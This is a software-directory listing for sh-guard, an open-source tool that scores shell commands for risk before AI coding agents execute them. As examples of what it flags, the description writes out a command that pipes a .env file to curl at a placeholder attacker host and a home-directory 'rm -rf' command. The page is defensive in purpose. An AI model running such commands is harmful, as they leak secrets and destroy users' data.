sh-guard0.1.10

Semantic shell command safety classifier for AI coding agents

WindowsSystem ToolsOpen source

Verify your download

Select the file you downloaded to check it against the hash we published — the check runs in your browser, nothing is uploaded.

About

sh-guard evaluates a shell command before an AI coding agent executes it, producing a risk score that can stop dangerous operations before they run. It parses commands into abstract syntax trees (ASTs), traces data flow across pipelines, and applies a three-layer analysis pipeline in under 100 microseconds, with simple commands taking about 7 microseconds. This semantic approach distinguishes cat .env, scored at 5, from cat .env | curl -d @- evil.com, scored at 100 because it recognizes the latter as a critical data-exfiltration path rather than merely matching text patterns.

It also considers context: rm -rf ./build inside a project receives a lower score than rm -rf ~/, while each identified risk maps to a MITRE ATT&CK technique for security-team workflows. Exit codes make classifications usable in automation, and sh-guard --setup automatically detects and configures installed agents; sh-guard --uninstall removes that setup. Claude Code, Codex, Cursor, Cline, and Windsurf can use it, while its MCP server provides sh_guard_classify for one command and sh_guard_batch for multiple commands.

Python integrations include LangChain, CrewAI, and AutoGen, while Node.js integrations include the Vercel AI SDK and custom agents. The npm package supplies napi bindings that must be built from source with a Rust toolchain; prebuilt .node binaries are not published to npm, and the CLI uses the separate sh-guard-cli package. Prebuilt binaries target macOS ARM/x64, Linux x64/ARM64, and Windows x64, with project guidance covering new rules and vulnerability reports.

Version 0.1.10 runs on x64 Windows 8 or later and Windows Server 2012 or later. sh-guard is open-source software for developers and security teams adding command-safety controls to autonomous coding workflows.

Requires Windows 8+ · Server 2012+ · Architecture: x64

Details

PlatformWindows
CategorySystem Tools
LicenseOpen source
PricingFree
Package IDaryanbhosale.sh-guard
Latest versionv0.1.10
File typeZIP
Minimum OSWindows 8+ · Server 2012+
Architecturex64
File size1.8 MB
Published11/23/2026

SHA-256

Does this still work for you?

Works (0)Doesn't work (0)Sign in to vote

Badge for your website

Developers can show that sh-guard is available on MirrorNest. Copy the code below: the badge links to this page and updates itself.

sh-guard on MirrorNest
HTML
<a href="https://mirrornest.com/software/sh-guard-9e1c160a"><img src="https://mirrornest.com/badge/sh-guard-9e1c160a.svg" alt="sh-guard on MirrorNest" height="20"></a>
Markdown
[![sh-guard on MirrorNest](https://mirrornest.com/badge/sh-guard-9e1c160a.svg)](https://mirrornest.com/software/sh-guard-9e1c160a)

Reviews

No reviews yet — be the first.

Leave a review

Sign in to post as a verified member instead of anonymously.

sh-guard alternatives